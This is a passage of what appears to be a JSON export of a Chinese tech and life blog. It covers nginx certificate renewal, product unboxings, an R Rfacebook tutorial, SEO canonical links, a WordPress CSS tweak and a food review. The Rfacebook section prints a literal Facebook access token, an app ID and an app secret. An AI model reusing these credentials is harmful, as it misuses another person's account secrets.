SSL Configuration Generator 設定檔產生工具。\n設定好之後，檢查一下設定檔是否正確：\nservice nginx configtest 確認無誤之後，重新載入設定檔：\nservice nginx reload 這樣就完成 nginx 伺服器的設定了，接著就可以開啟 HTTPS 加密的網址來測試了，正常來說，使用 Google Chrome 瀏覽器開啟自己主機的 HTTPS 加密網址，應該就會顯示一個綠色的鎖頭，這樣就代表我們安裝的 SSL 憑證是有效的。\n如果想要檢視憑證的內容，可以點擊網址列的綠色鎖頭，裡面可以看到憑證的詳細資料。\n另外也可以使用 Qualys 的 SSL 伺服器測試工具來檢測。\n自動更新 SSL 憑證 Let\u0026rsquo;s Encrypt 的憑證使用期限只有三個月，在憑證到期前的一個月可以使用 certbot-auto 來更新憑證，在實際更新之前我們可以加入 --dry-run 參數，先進行測試：\n/opt/letsencrypt/certbot-auto renew --dry-run 若測試沒問題，就可以使用正式指令來更新：\n/opt/letsencrypt/certbot-auto renew --quiet --no-self-upgrade 而為了方便起見，可以將這個更新指令寫在 /opt/letsencrypt/renew.sh 指令稿中：\n#!/bin/sh /opt/letsencrypt/certbot-auto renew --quiet --no-self-upgrade --post-hook \u0026#34;service nginx reload\u0026#34; 這裡我又加上一個 --post-hook 的設定，讓憑證更新完後，可以自動重新載入 nginx 伺服器的設定，讓憑證生效。\n接著把這個 /opt/letsencrypt/renew.sh 指令稿寫進 crontab 中：\n# m h dom mon dow command 30 2 * * 0 /opt/letsencrypt/renew.sh 官方的建議是這個指令可以一天執行兩次，讓伺服器的憑證隨時保持在最新的狀態，這裡我是設定讓伺服器每週日凌晨兩點半進行憑證的檢查與更新，Certbot 只有在憑證到期前一個月才會進行更新，如果憑證尚未到期，就不會更新。\n參考資料 Tecmint DigitalOcean DigitalOcean NGINX Blog ","permalink":"https://blog.gtwang.org/linux/secure-nginx-with-lets-encrypt-ssl-certificate-on-ubuntu-and-debian/","summary":"\u003cp\u003e本文介紹如何在 nginx 伺服器上使用免費的 Let\u0026rsquo;s Encrypt 憑證，提供 HTTPS 的安全加密網頁。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://letsencrypt.org/\"\u003eLet\u0026rsquo;s Encrypt\u003c/a\u003e 是一家新的證書頒發機構（Certificate Authority，簡稱 CA），其提供免費的 TLS/SSL 憑證再配合 \u003ca href=\"https://certbot.eff.org/\"\u003eCertbot\u003c/a\u003e 這個自動化工具，讓一般的網站可以很容易地使用 HTTPS 的安全加密網頁，設定很簡單，憑證的更新也可以自動處理。\u003c/p\u003e","title":"NGINX 使用 Let’s Encrypt 免費 SSL 憑證設定 HTTPS 安全加密網頁教學"},{"content":"本文是池上大地有機胚芽米糠麩的開箱文。\n池上大地有機胚芽米糠麩我個人時常買來吃，感覺品質還不錯，因為他是有機的米糠，跟一般非有機的米糠完全不同，非常香、很好吃（我個人感覺有點像花生粉）。\n米麩（俗稱米糠）就是稻米在碾米過程中，被刨去但卻是最重要的營養成分，關於米麩的詳細說明，可參考米糠的益處。\n罐子使用鋁箔密封，包裝的很好。\n打開之後，裡面還有用一層袋子包裝。\n這是打開包裝袋的樣子，裡面就是有機的米糠。\n這是倒出來的池上大地有機胚芽米糠麩，有機的米糠真的很香，我都覺得可以直接當花生粉來用了。\n由於米糠若是時常接觸空氣的話會比較不耐放，開封之後要冷藏，建議是盡量早點食用完畢。\n食用方法 有機胚芽米糠麩的食用方式很多，以下列舉幾種常見的方式：\n直接食用：直接取少量米糠麩倒入口中直接吃，再喝開水。可以吃到米糠麩的原始風味，每天上班前，記得補充米糠麩，給您一天好體力與精神喔！ 沖泡飲用：米糠麩可添加於黑糖水、穀粉、麥片、米（豆）漿、擂茶粉、阿華田、美祿 等飲品中，或溫(熱)(冷)開水中沖泡飲用。 拌飯、拌稀飯、拌麵吃，或灑在壽司、潤餅、沙拉、素粽上，增加風味與營養。 米糠精力湯（五穀漿）：打精力湯（五穀漿）時可以少量添加米糠麩，取代堅果。 米糠蛋糕：五個全蛋蛋糕只要使用10g米糠粉。可以增加蛋糕扎實口感與降低酸性。 米糠也可以加在各種料理之中：\n米糠煎蛋：一顆蛋調半小匙米糠，可加些九層塔或明目萵苣（菊苣）等蔬菜下去煎蛋，非常好吃。只要有使用蛋的料理，都可以少量添加於蛋液中。例如蕃茄炒蛋、蒸蛋、豆腐炒蛋、高麗菜炒蛋、紫菜蛋花湯或白菜豆腐蛋花湯等。 煮五穀飯、白飯、地瓜稀飯、蔬菜（鹹）粥時可以少量添加米糠麩。 煮味噌湯（麵）、蔬菜湯（麵）、蕃茄湯（麵）、煮鹹湯圓時可以少量添加米糠麩。 米糠麩和素鬆混合，加進壽司或飯糰中。 米糠麩拌進水餃、鍋貼或菜包餡料中。 米糠麩可以少量添加於麵粉中，做成麵條、麵疙瘩、饅頭、麵包、吐司等麵製食品。 ","permalink":"https://blog.gtwang.org/unboxing/drr-rice-bran/","summary":"\u003cp\u003e本文是池上大地有機胚芽米糠麩的開箱文。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://shopee.tw/%E3%80%90%E6%B1%A0%E4%B8%8A%E5%A4%A7%E5%9C%B0%E3%80%91%E6%9C%89%E6%A9%9F%E8%83%9A%E8%8A%BD%E7%B1%B3%E7%B3%A0%E9%BA%A9-i.54912457.1612058852\"\u003e池上大地有機胚芽米糠麩\u003c/a\u003e我個人時常買來吃，感覺品質還不錯，因為他是有機的米糠，跟一般非有機的米糠完全不同，非常香、很好吃（我個人感覺有點像花生粉）。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e米麩（俗稱米糠）就是稻米在碾米過程中，被刨去但卻是最重要的營養成分，關於米麩的詳細說明，可參考\u003ca href=\"/life/rice-bran/\"\u003e米糠的益處\u003c/a\u003e。\u003c/p\u003e","title":"[開箱] 池上大地有機胚芽米糠麩"},{"content":"本文是 Blue Yeti 專業級 USB 電容式麥克風的開箱文。\n最近我開始計要畫錄製一些數位的線上教材，所以需要一隻比較專業一點的麥克風，我參考了 Udemy 建議的麥克風清單，而這個清單中的麥克風價格都差很多，由於我是打算要製作比較完整的數位可成教材，所以就選擇了這隻 Blue Yeti USB 電容式麥克風，它的價位在這個清單中是最高的，不過在 Blue Yeti 系列的麥克風中，這一隻只是最基本的一款而已，我是打算先買這一隻用用看，未來若有需要再考慮更進階的款式。\n我從露天拍賣上買到這一隻 Blue Yeti USB 電容式麥克風，價格是 4,099 元，加上 7-11 取貨付款 65 元，總共以 4,164 元購得。\n這是 Blue Yeti USB 電容式麥克風的外盒，包裝盒有很多很可愛的卡通圖案，我個人是很喜歡這個包裝。\n外盒上面有標示這隻麥克風所提供的使用情境，他可以依照不同的狀況調整收音範圍與方向，詳細的說明可以參考 Blue Yeti 麥克風的官方網站。\n打開外盒之後，看到的是麥克風的 USB 線，另外下方還有一小本英文說明書。\n它的 USB 線是 Mini USB 的接頭。\n這就是 Blue Yeti USB 電容式麥克風，感覺好大一隻。\n這是麥克風下方音源輸出的插座，可以插 Mini USB 線與一般的音源線。\n這是 Blue Yeti USB 電容式麥克風的正面，有一個靜音按鈕與一個音量調整旋鈕。\n這是 Blue Yeti USB 電容式麥克風的背面，有一個可以調整 GAIN 值的旋鈕，還有一個切換收音模式的旋鈕。\n麥克風兩側各有一個可以調整麥克風角度的螺絲，這樣的設計可以讓使用者任意調整麥克風的角度。\n這是麥克風上方收音的部位。\n這是麥克風的底座。\n這是 Blue Yeti USB 電容式麥克風正面、側面以及背面的比較。\n這是整隻麥克風立起來的樣子，由於麥克風的底座還不小，而且都是金屬材質的，重量很重，這樣立著感覺非常穩。\n以下是一些 Blue Yeti USB 電容式麥克風的照片。\n銀色的麥克風，跟 Mac 電腦放在一起感覺很搭調。\n這是 Blue 的 Logo。\n至於麥克風的音質，目前我還沒有時間測試，我想等未來我的數位教材錄製好之後，再放上來給大家參考。\n","permalink":"https://blog.gtwang.org/unboxing/blue-yeti-usb-condenser-mic/","summary":"\u003cp\u003e本文是 Blue Yeti 專業級 USB 電容式麥克風的開箱文。\u003c/p\u003e\n\u003cp\u003e最近我開始計要畫錄製一些數位的線上教材，所以需要一隻比較專業一點的麥克風，我參考了 Udemy 建議的麥克風清單，而這個清單中的麥克風價格都差很多，由於我是打算要製作比較完整的數位可成教材，所以就選擇了這隻 Blue Yeti USB 電容式麥克風，它的價位在這個清單中是最高的，不過在 Blue Yeti 系列的麥克風中，這一隻只是最基本的一款而已，我是打算先買這一隻用用看，未來若有需要再考慮更進階的款式。\u003c/p\u003e","title":"[開箱] Blue Yeti 專業級 USB 電容式麥克風"},{"content":"這裡介紹 R 的 Rfacebook 套件使用方式，並提供各種 Facebook 社群網路資料分析的參考範例。\nFacebook 是全球知名的社群網站，上面有非常大量的社群網路資料，當然也蘊藏了龐大的商機，如何分析 facebook 的資料、從中萃取有用的資訊，已經成為現在很熱門的領域之一。\n分析 facebook 的資料，除了一般的統計工具之外，還需要結合 Facebook Graph API 來擷取資料，很慶幸的是 R 官方收錄的 Rfacebook 已經將這些功能都已經整合好了，以下我們將介紹如何安裝以及使用這個套件，分析出各種有用的社群資訊。\n取得 Facebook 權限認證 在使用 Facebook Graph API 之前，我們必須先取得 facebook 的權限認證，經過認證之後，才能從 facebook 網站上擷取資料。\nfacebook 提供的認證方式有兩種，一種是使用 facebook app 的方式，另一種則是直接產生一個暫時的存取權杖（token），不管使用那一種都可以。\n建立 Facebook App 以下是建立一個 facebook app 的操作步驟。\nStep 1\n開啟 facebook for developers 的網頁，點選「新增應用程式」。\nStep 2\n選擇「網站」這個平台。\nStep 3\n輸入 App 的名稱，這裡任意取一個名稱即可。\nStep 4\n輸入聯絡用的電子郵件信箱。\nStep 5\n點選右上角的「Skip Quick Start」。\nStep 6\n點選應用程式密鑰的「顯示」按鈕。\nStep 7\n複製應用程式的編號與密鑰。\n有了應用程式的編號與密鑰，我們就可以使用 Rfacebook 套件透過 Facebook Graph API 來取的 facebook 上的資料了。\n取得 Facebook 存取權杖（Token） 除了使用應用程式的編號與密鑰之外，還有另外一種認證方式就是使用 facebook 存取權杖（token），這種方式就不需要建立 facebook app，只要從網頁上產生存取權杖代碼即可使用，不過他的時效只有兩小時，過期後就要重新產生。\nStep 1\n點選「Get User Access Token」。\nStep 2\n選擇要開放的權限。\nStep 3\n複製產生的存取權杖代碼。\n安裝 Rfacebook 套件 R 的 Rfacebook 套件安裝方式有兩種，最簡單的方式就是跟一般套件一樣從 R 官方的套件庫下載安裝，不過這種方式所安裝的版本有時候比較舊，若要安裝最新的版本，可以改用直接從 Rfacebook 的 GitHub 網站上下載最新的版本來安裝。\n從 CRAN 安裝 若要從 R 官方的 CRAN 網站安裝，就執行：\ninstall.packages(\u0026#34;Rfacebook\u0026#34;) 從 GitHub 安裝 若要從 GitHub 下載最新版的 Rfacebook，首先需要先安裝 devtools：\ninstall.packages(\u0026#34;devtools\u0026#34;) library(devtools) 接著使用 install_github 安裝 Rfacebook：\ninstall_github(\u0026#34;Rfacebook\u0026#34;, \u0026#34;pablobarbera\u0026#34;, subdir=\u0026#34;Rfacebook\u0026#34;) library(Rfacebook) Rfacebook 認證設定 使用 Facebook 存取權杖（Token） 從 facebook 的 Graph API 測試工具的網頁上產生一個存取權杖（token），將其複製之後，放在 R 的 token 變數中：\ntoken \u0026lt;- \u0026#34;EAACEdEose0cBANAjh3xCYmHWoQPi9MZBZCuIyLBOvsCtH71vTnndd5NsIeSvy5UU1DSSxCYjX8pWIOvRBid6lWOwYwhAxDzZA3dnsbRadtj3FZCaHfpBndc8ae911Wp0pR5GPoq3ZAa5AWooIe34aYkVmkvBHRFt1n44kbWJNywZDZD\u0026#34; 有了存取權杖之後，就可以使用 Rfacebook 來擷取 facebook 網站上的資料了：\nme \u0026lt;- getUsers(\u0026#34;me\u0026#34;, token, private_info = TRUE) me$name [1] \"Guo-Zhao Wang\" 使用 Facebook 應用程式編號與密鑰 使用 fbOAuth 函數，配合上面複製的應用程式編號與密鑰，即可獲取可長期使用的 OAuth 授權 token：\nrequire(\u0026#34;Rfacebook\u0026#34;) fb.oauth \u0026lt;- fbOAuth( app_id=\u0026#34;1675426256053176\u0026#34;, app_secret=\u0026#34;216739d2688d42b4d1d1d901fa4cbbc4\u0026#34;, extended_permissions = TRUE) Copy and paste into Site URL on Facebook App Settings: http://localhost:1410/ When done, press any key to continue... 將這裡的網址 http://localhost:1410/ 複製起來，開啟 facebook app 的網頁，在「設定」頁面中，點選「新增平台」。\n選擇「網站」。\n將剛剛複製的網址貼在「網站網址」欄位中。\n按下任意鍵，等待瀏覽器進行認證：\nWaiting for authentication in browser... Press Esc/Ctrl + C to abort Authentication complete. Authentication successful. 認證完成後，測試是否可以正常擷取資料：\nme \u0026lt;- getUsers(\u0026#34;me\u0026#34;,token=fb.oauth) me$name [1] \"Guo-Zhao Wang\" 將這個 token 儲存起來，以備未來使用：\nsave(fb.oauth, file=\u0026#34;fb_oauth\u0026#34;) 未來在使用前，只要使用 load 載入這個 token 就可以直接使用：\nload(\u0026#34;fb_oauth\u0026#34;) 使用 Rfacebook 套件 Facebook 粉絲專頁 首先複製 facebook 粉絲專頁的 id，而常見的 id 有兩種，一種是純數字的，一種則是使用者自己命名的：\nhttps://www.facebook.com/G-T-Wang-489529864441673/ https://www.facebook.com/humansofnewyork 接著使用 getPage 來取得粉絲專頁上面的文章資訊：\npage.id \u0026lt;- \u0026#34;489529864441673\u0026#34; # G.T.Wang 粉絲專頁 page \u0026lt;- getPage(page.id, token, n = 300) str(page) 'data.frame':\t300 obs. of 10 variables: $ from_id : chr \"489529864441673\" \"489529864441673\" \"489529864441673\" \"489529864441673\" ... $ from_name : chr \"G. T. Wang\" \"G. T. Wang\" \"G. T. Wang\" \"G. T. Wang\" ... $ message : chr \"這裡介紹如何設定標準網址（canonical link），讓自己網站可以在 Google 搜尋結果上呈現正確的網址，達到搜尋引擎最佳化的效果。\" \"本篇介紹如何改變 WordPress 文字編輯器的字型大小與顏色，讓原始的 HTML 程式碼更容易閱讀。\" \"一派胡塩酵素臭豆腐新市店是一家靠近南科的素食小吃，臭豆腐外酥內軟，用餐環境整潔衛生。\" \"Sci-Hub 是一個可以免費下載期刊論文全文電子檔的網站，推倒通往科學道路上的圍籬。\" ... $ created_time : chr \"2016-04-27T04:01:45+0000\" \"2016-04-27T00:25:27+0000\" \"2016-04-25T07:51:27+0000\" \"2016-04-24T04:59:53+0000\" ... $ type : chr \"link\" \"link\" \"link\" \"link\" ... $ link : chr \"http://blog.gtwang.org/web-development/google-canonical-link-setup-after-changing-url/\" \"http://blog.gtwang.org/wordpress/change-font-and-color-in-text-editor/\" \"http://blog.gtwang.org/life/yi-pai-hu-yan-stinky-tofu-xinshi-tainan/\" \"http://blog.gtwang.org/free/sci-hub-download-papers-for-free/\" ... $ id : chr \"489529864441673_1054145887980065\" \"489529864441673_1054059014655419\" \"489529864441673_1053005288094125\" \"489529864441673_1052385961489391\" ... $ likes_count : num 5 4 2 7 7 3 8 8 3 8 ... $ comments_count: num 0 0 1 0 0 0 10 7 4 14 ... $ shares_count : num 0 0 1 0 2 1 0 3 1 1 ... 依據時間畫出網友的迴響數量：\n## convert Facebook date format to R date format format.facebook.date \u0026lt;- function(datestring) { date \u0026lt;- as.POSIXct(datestring, format = \u0026#34;%Y-%m-%dT%H:%M:%S+0000\u0026#34;, tz = \u0026#34;GMT\u0026#34;) } # aggregate metric counts over month aggregate.metric \u0026lt;- function(metric) { m \u0026lt;- aggregate(page[[paste0(metric, \u0026#34;_count\u0026#34;)]], list(month = page$month), mean) m$month \u0026lt;- as.Date(paste0(m$month, \u0026#34;-15\u0026#34;)) m$metric \u0026lt;- metric return(m) } # create data frame with average metric counts per month page$datetime \u0026lt;- format.facebook.date(page$created_time) page$month \u0026lt;- format(page$datetime, \u0026#34;%Y-%m\u0026#34;) df.list \u0026lt;- lapply(c(\u0026#34;likes\u0026#34;, \u0026#34;comments\u0026#34;, \u0026#34;shares\u0026#34;), aggregate.metric) df \u0026lt;- do.call(rbind, df.list) # visualize evolution in metric library(ggplot2) library(scales) ggplot(df, aes(x = month, y = x, group = metric)) + geom_line(aes(color = metric)) + scale_y_log10(\u0026#34;Average count per post\u0026#34;, breaks = c(2, 10, 50, 100)) + theme_bw() + theme(axis.title.x = element_blank()) 這是每篇文章平均的迴響狀況：\n取出按「讚」數最高的文章：\ntop.post \u0026lt;- page[which.max(page$likes_count), ] top.post from_id from_name 62 489529864441673 G. T. Wang message 62 Zoolz 的終身 1TB 雲端備份空間現在大特價，只要 $39 美金，比買硬碟還便宜！ created_time type 62 2016-01-15T23:54:46+0000 link link 62 http://blog.gtwang.org/funny/get-1tb-zoolz-cold-storage-for-lifetime-subscription/ id likes_count comments_count shares_count 62 489529864441673_993084634086191 489 4 9 分析這一篇文章按讚的人：\npost \u0026lt;- getPost(top.post$id, token, n = 1000, likes = TRUE, comments = FALSE) users \u0026lt;- getUsers(post$likes$from_id, token) head(sort(table(users$last_name), decreasing = TRUE)) 陳 林 黃 李 Chen 楊 42 31 18 17 14 14 畫出前 10 個姓氏：\ntop.last.name \u0026lt;- head(sort(table(users$last_name), decreasing = TRUE), n = 10) top.last.name.df \u0026lt;- data.frame(last.name=rownames(top.last.name), count = top.last.name) top.last.name.df$last.name \u0026lt;- reorder(top.last.name.df$last.name, top.last.name.df$count) ggplot(data = top.last.name.df, aes(x = last.name, y = count)) + geom_bar(stat=\u0026#34;identity\u0026#34;) Facebook 好友 由於 facebook 的 Graph API 在 2.0 版之後，將取得 facebook 好友相關資訊的權限停用了，所以現在我們無法直接使用 Rfacebook 來獲取 facebook 上好友的關係資料，這個問題在 stackoverflow 上也有許多人討論，不過由於這是 facebook 的政策改變所致，所以目前無解。\n參考資料 ThinkToStart ","permalink":"https://blog.gtwang.org/r/facebook-social-media-mining-with-r/","summary":"\u003cp\u003e這裡介紹 R 的 Rfacebook 套件使用方式，並提供各種 Facebook 社群網路資料分析的參考範例。\u003c/p\u003e\n\u003cp\u003eFacebook 是全球知名的社群網站，上面有非常大量的社群網路資料，當然也蘊藏了龐大的商機，如何分析 facebook 的資料、從中萃取有用的資訊，已經成為現在很熱門的領域之一。\u003c/p\u003e","title":"使用 R 分析 Facebook 社群網路教學"},{"content":"G. T. Wang 部落格榮獲 2016 台灣部落格大賽個人觀點類第三名！非常感謝大家對於本站的支持。\n這次的 2016 台灣部落格大賽比賽時間長達一年，從 2015 年 6 月 20 日起開始報名，從 2016 年 3 月 8 日開始網路 facebook 票選，直到 2016 年 5 月 1 日正式公佈得獎名單。\n這是 2016 台灣部落格大賽官方公佈的結果，G. T. Wang 部落格獲得第三名，有這個成績都是靠大家的支持，非常感謝大家。\n後來收到主辦單位寄來的獎狀。\n我原本以為只是一張獎狀紙，沒想到是一本。\n這是獎狀打開來的樣子。\n獎狀上面的 G. T. Wang 是直接印上去的，很有紀念價值。\n","permalink":"https://blog.gtwang.org/funny/gtwang-blog-blogawards-2016-third/","summary":"\u003cp\u003eG. T. Wang 部落格榮獲 2016 台灣部落格大賽個人觀點類第三名！非常感謝大家對於本站的支持。\u003c/p\u003e\n\u003cp\u003e這次的 2016 台灣部落格大賽比賽時間長達一年，從 2015 年 6 月 20 日起開始報名，從 2016 年 3 月 8 日\u003ca href=\"/funny/gtwang-blog-blogawards-2016/\"\u003e開始網路 facebook 票選\u003c/a\u003e，直到 2016 年 5 月 1 日正式公佈得獎名單。\u003c/p\u003e","title":"賀 G. T. Wang 榮獲 2016 台灣部落格大賽個人觀點類第三名！"},{"content":"這裡介紹如何在訂購高鐵票之後，在高鐵站的自動售票機來取票。\n購買高鐵票有很多種方式，例如自動售票機、網路訂票超商取票與手機購票等，以下介紹如何在上網或用手機訂票與付款之後，從高鐵站的自動售票機來取票，如果想要拿實體票根的人，可以考慮使用這樣的方式，既快速又方便，而且也不用任何手續費。\n以我個人的習慣而言，如果是已經既定的行程，都會提早一些到高鐵站，這種情況買票是有時間，只是會困擾買不到好位子，這時候就可以事先上網訂票與付款，乘車當天再從高鐵站的自動售票機取票就可以了。\nStep 1\n點擊螢幕，開始使用高鐵的自動售票機。\nStep 2\n選擇「一般取票」。\nStep 3\n輸入身份證字號後四碼。\nStep 4\n輸入訂位代號共八碼。\nStep 5\n確認購票資訊。\nStep 6\n等待列印車票。\nStep 7\n取得高鐵車票。\n通常提早個幾天買票，都一定可以買到座位 A（靠窗）的位子，只不過如果是提前訂票的話，要事先付款才能將車票保留到當天領取。\n","permalink":"https://blog.gtwang.org/life/receive-thsr-ticket-from-vending-machine/","summary":"\u003cp\u003e這裡介紹如何在訂購高鐵票之後，在高鐵站的自動售票機來取票。\u003c/p\u003e\n\u003cp\u003e購買高鐵票有很多種方式，例如\u003ca href=\"/life/thsr-ticket-vending-machine-using-credit-card/\"\u003e自動售票機\u003c/a\u003e、\u003ca href=\"/life/thsr-online-ticket-booking-system-and-ibon/\"\u003e網路訂票超商取票\u003c/a\u003e與\u003ca href=\"/life/thsr-t-express-mobile-ticket-tutorial/\"\u003e手機購票\u003c/a\u003e等，以下介紹如何在上網或用手機訂票與付款之後，從高鐵站的自動售票機來取票，如果想要拿實體票根的人，可以考慮使用這樣的方式，既快速又方便，而且也不用任何手續費。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e以我個人的習慣而言，如果是已經既定的行程，都會提早一些到高鐵站，這種情況買票是有時間，只是會困擾買不到好位子，這時候就可以事先上網訂票與付款，乘車當天再從高鐵站的自動售票機取票就可以了。\u003c/p\u003e","title":"台灣高鐵自動售票機取票操作教學"},{"content":"這裡介紹如何設定標準網址（canonical link），讓自己網站可以在 Google 搜尋結果上呈現正確的網址，達到搜尋引擎最佳化的效果。\n在一個網站中使用不同的網址來呈現同一個頁面的內容是很常見的情況，舉例來說，有些網頁會有閱讀用與列印用兩種網址，這樣的設計可以讓使用者更便利，但是對於網路搜尋引擎（如 Google 等）而言，可能會無法判別那一個網址才是最正式的網址，如果在搜尋結果中顯示了列印用的版本就不是很恰當。\nGoogle 標準網址標示 Google 官方為了解決這種問題，提供了標準網址的標示方式，只要在 \u0026lt;head\u0026gt; 區段加入 canonical link 的設定，就可以讓 Google 搜尋引擎呈現適當的結果：\n\u0026lt;link rel=\u0026#34;canonical\u0026#34; href=\u0026#34;http://blog.gtwang.org/web-development/google-canonical-link-setup-after-changing-url/\u0026#34; /\u0026gt; 我們可以在所有版本的網頁中（閱讀用與列印用的等等）都加上這一行，這樣 Google 搜尋引擎在顯示搜尋結果時，如果發現這個網頁內容有多個網址可選擇時，就會以這裡標示的網址為準。\n使用 JavaScript 設定標準網址 由於 canonical link 的設定一定要放在 \u0026lt;head\u0026gt; 區段才會生效，如果您的網站環境無法讓您直接修改 \u0026lt;head\u0026gt; 區段的 HTML 碼，可以改用 JavaScript 的方式來加入 canonical link：\n\u0026lt;script\u0026gt; $(\u0026#39;head\u0026#39;) .append(\u0026#39;\u0026lt;link rel=\u0026#34;canonical\u0026#34; href=\u0026#34;http://blog.gtwang.org/web-development/google-canonical-link-setup-after-changing-url/\u0026#34; /\u0026gt;\u0026#39;); \u0026lt;/script\u0026gt; 這段 JavaScript 可以放在 \u0026lt;body\u0026gt; 中的任何地方，他的作用是在網頁載入時，使用 JavaScript 在 \u0026lt;head\u0026gt; 區段中增加一行 canonical link 設定，其中 href 的屬性請改為自己要指定的網址。\n由於 Google 搜尋引擎在解析網頁時也會一併解析 JavaScript 程式碼，所以對於 Google 搜尋引擎而言我們可以使用這樣的方式來處理。\n如果您的網頁原本就已經有 canonical link 的設定了，可以改用下面這樣的作法，修改 \u0026lt;link\u0026gt; 的 href 的屬性：\n\u0026lt;script\u0026gt; $(\u0026#39;link[rel=\u0026#34;canonical\u0026#34;]\u0026#39;) .attr(\u0026#39;href\u0026#39;, \u0026#39;http://blog.gtwang.org/web-development/google-canonical-link-setup-after-changing-url/\u0026#39;); \u0026lt;/script\u0026gt; 更換網址 這種標準網址的標示也可以應用於網站遷移的問題上，通常網站要更改網址時，會先把新的網站架設起來，然後將舊網站的內容轉移至新網站，而為了不要造成網路流量的損失，我們會等待搜尋引擎將新網址都收錄之後，才會將舊網站關閉。\n然而搜尋引擎的結果並不會馬上更新，甚至會有很長一段時間都還是會維持舊網站的資料，這時候我們就可以利用標準網址標示，將舊網站上每一個網頁的標準網址都標示為新網站的網址，這樣 Google 搜尋引擎就會立即更新搜尋結果，加速網站的轉移，讓訪客可以立即看到新網站的網址。\n","permalink":"https://blog.gtwang.org/web-development/google-canonical-link-setup-after-changing-url/","summary":"\u003cp\u003e這裡介紹如何設定標準網址（canonical link），讓自己網站可以在 Google 搜尋結果上呈現正確的網址，達到搜尋引擎最佳化的效果。\u003c/p\u003e\n\u003cp\u003e在一個網站中使用不同的網址來呈現同一個頁面的內容是很常見的情況，舉例來說，有些網頁會有閱讀用與列印用兩種網址，這樣的設計可以讓使用者更便利，但是對於網路搜尋引擎（如 Google 等）而言，可能會無法判別那一個網址才是最正式的網址，如果在搜尋結果中顯示了列印用的版本就不是很恰當。\u003c/p\u003e","title":"標準網址使用教學，讓 Google 搜尋呈現正確的網站"},{"content":"本篇介紹如何改變 WordPress 文字編輯器的字型大小與顏色，讓原始的 HTML 程式碼更容易閱讀。\n我個人在使用 WordPress 撰寫文章時，都習慣使用原始的 HTML 程式碼來排版，這樣可以比較精準的呈現自己想要的排版方式，但是 WordPress 預設的文字編輯器是最簡單的白底黑字，加上字型又很小，眼睛看久了真的很不舒服。\n這裡我自己稍微修改了一下 WordPress 內部編輯器的 CSS 檔，讓 HTML 程式碼以黑底白字來顯示，並且將字型大小調大一些，讓文字更容易閱讀，保護眼睛。\n這是 WordPress 預設文字編輯器，在 WordPress 的網頁上並沒有任何選項可以調整他的顏色，我們必須從 WordPress 內部的 CSS 檔來修改。\nWordPress 文字編輯器的 CSS 設定檔是 wp-includes/css/editor.css 這個檔，而實際被使用的檔案則是 wp-includes/css/editor.min.css 這個經過最佳化的壓縮檔，正常的作法是修改 wp-includes/css/editor.css 後，再將其壓縮為 wp-includes/css/editor.min.css，不過這裡我們只是要加上一小段 CSS 程式碼而已，直接修改 wp-includes/css/editor.min.css 比較省事。\nWordPress 文字編輯器可以透過下面這段 CSS 來修改它的顏色與字型，您可以依照個人喜好來改變其設定：\n.wp-editor-container textarea.wp-editor-area { background-color: #000; color: #CCC; font-size: 18px; } 決定好 CSS 的設定之後，把這段 CSS 程式碼的空白與換行字元都拿掉，串成一整行，變成這樣：\n.wp-editor-container textarea.wp-editor-area{background-color:#000;color:#CCC;font-size:18px;} 把這一行 CSS 程式碼貼在 wp-includes/css/editor.min.css 的最後面：\n由於 wp-includes/css/editor.min.css 是經過壓縮過的，所有的 CSS 程式碼都串成一整行，感覺很雜亂，不過不用在意這個問題，直接把自己的 CSS 程式碼貼在結尾處即可，只是要注意別動到原本的 CSS 內容，如果怕出錯的話，可以先備份。\n存檔之後，重新整理 WordPress 的網頁，就可以看到新的字型與色彩設定了。\n","permalink":"https://blog.gtwang.org/wordpress/change-font-and-color-in-text-editor/","summary":"\u003cp\u003e本篇介紹如何改變 WordPress 文字編輯器的字型大小與顏色，讓原始的 HTML 程式碼更容易閱讀。\u003c/p\u003e\n\u003cp\u003e我個人在使用 WordPress 撰寫文章時，都習慣使用原始的 HTML 程式碼來排版，這樣可以比較精準的呈現自己想要的排版方式，但是 WordPress 預設的文字編輯器是最簡單的白底黑字，加上字型又很小，眼睛看久了真的很不舒服。\u003c/p\u003e","title":"WordPress 改變 HTML 文字編輯器的字型大小與顏色"},{"content":"一派胡塩酵素臭豆腐新市店是一家靠近南科的素食小吃，臭豆腐外酥內軟，用餐環境整潔衛生。\n一派胡塩酵素臭豆腐是由長年深耕台灣素食界的阮榮周所創辦的，曾是五星級餐廳老闆的阮榮周，在 1997 年選擇用臭豆腐美味，征服南部夜市饕客族，而且要將新研發的酵素臭豆腐推向全台、以至國際舞台。\n酵素臭豆腐製作過程中，採用了數十種蔬菜作為原料，再加入酵素進行發酵，並控制室溫於 25℃，酥炸後外酥內嫩，有別於一般以臭滷水泡製而成的臭豆腐，必須仰賴醬汁強化口感，阮師傅用五星級規格，為夜市小吃打造全新的素食風，堪稱五星級臭豆腐。\n新市這家一派胡塩酵素臭豆腐加盟店就在信義街上，很接近民生路，距離新市土地公臭豆腐很近。開車的人可以把車子停在重劃區的空地，走過去一分鐘就到了。\n由於一派胡塩酵素臭豆腐的創辦人阮榮周是五星級的素食廚師，加上新市這家加盟店的老闆本身也是素食者，所以素食者在這裡用餐可以非常放心，不會有任何五葷的調味料。\n這是店內的座位，環境整潔且衛生。\n這是一盤 50 